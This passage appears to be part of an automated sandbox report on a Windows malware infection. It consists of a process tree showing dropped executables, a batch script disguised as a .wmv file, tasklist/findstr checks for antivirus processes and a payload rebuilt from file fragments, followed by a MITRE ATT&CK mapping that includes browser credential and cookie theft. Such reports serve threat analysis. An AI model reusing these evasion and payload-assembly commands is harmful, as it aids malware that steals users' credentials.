        "C:\Users\Admin\AppData\Local\Temp\10319060101\Jq0hGDZ.exe"
        6⤵
        
        PID:1376
      - C:\Users\Admin\AppData\Local\Temp\10319070101\cUpXaxB.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319070101\cUpXaxB.exe"
        6⤵
        
        PID:3868
      - C:\Users\Admin\AppData\Local\Temp\10319080101\zx4PJh6.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319080101\zx4PJh6.exe"
        6⤵
        
        PID:3436
        
        C:\Windows\SysWOW64\CMD.exe
        
        "C:\Windows\system32\CMD.exe" /c copy Spare.wmv Spare.wmv.bat & Spare.wmv.bat
        7⤵
        
        PID:3988
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:3740
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "opssvc wrsa"
        8⤵
        
        PID:3980
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        8⤵
        Enumerates processes with tasklist
        
        PID:3876
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
        8⤵
        
        PID:3888
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 440824
        8⤵
        
        PID:3780
        
        C:\Windows\SysWOW64\extrac32.exe
        
        extrac32 /Y /E Architecture.wmv
        8⤵
        
        PID:3860
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "Offensive" Inter
        8⤵
        
        PID:3320
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b 440824\Organizations.com + Flexible + Damn + Hard + College + Corp + Cj + Boulevard + Drainage + Truth 440824\Organizations.com
        8⤵
        
        PID:3352
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Dancing.wmv + ..\Ka.wmv + ..\Bali.wmv + ..\Liability.wmv + ..\Lamps.wmv + ..\Electro.wmv + ..\Shakespeare.wmv + ..\Make.wmv + ..\Physiology.wmv + ..\Witness.wmv + ..\Submitting.wmv + ..\Bd.wmv h
        8⤵
        
        PID:3284
        
        C:\Users\Admin\AppData\Local\Temp\440824\Organizations.com
        
        Organizations.com h
        8⤵
        
        PID:4048
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        8⤵
        
        PID:3508
      - C:\Users\Admin\AppData\Local\Temp\10319090101\tK0oYx3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319090101\tK0oYx3.exe"
        6⤵
        
        PID:1976
      - C:\Users\Admin\AppData\Local\Temp\10319100101\y0u3d_003.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319100101\y0u3d_003.exe"
        6⤵
        
        PID:3560
      - C:\Users\Admin\AppData\Local\Temp\10319110101\OkH8IPF.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319110101\OkH8IPF.exe"
        6⤵
        
        PID:952
      - C:\Users\Admin\AppData\Local\Temp\10319130101\QL4t9UZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319130101\QL4t9UZ.exe"
        6⤵
        
        PID:1756
      - C:\Users\Admin\AppData\Local\Temp\10319140101\88de36b110.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319140101\88de36b110.exe"
        6⤵
        
        PID:3876
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319140101\88de36b110.exe"
        7⤵
        
        PID:3656
      - C:\Users\Admin\AppData\Local\Temp\10319150101\e7c0a7133b.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319150101\e7c0a7133b.exe"
        6⤵
        
        PID:3704
        
        C:\Users\Admin\AppData\Local\Temp\svchost015.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319150101\e7c0a7133b.exe"
        7⤵
        
        PID:524
      - C:\Users\Admin\AppData\Local\Temp\10319160101\laf6w_001.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319160101\laf6w_001.exe"
        6⤵
        
        PID:3864
      - C:\Users\Admin\AppData\Local\Temp\10319170101\4e6cd2ff2c.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10319170101\4e6cd2ff2c.exe"
        6⤵
        
        PID:3744

C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe"
1⤵
PID:3604

C:\Users\Admin\AppData\Local\Temp\10319070101\cUpXaxB.exe
"C:\Users\Admin\AppData\Local\Temp\10319070101\cUpXaxB.exe"
1⤵
PID:3280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Modify Authentication Process

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Authentication Process

Modify Registry

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion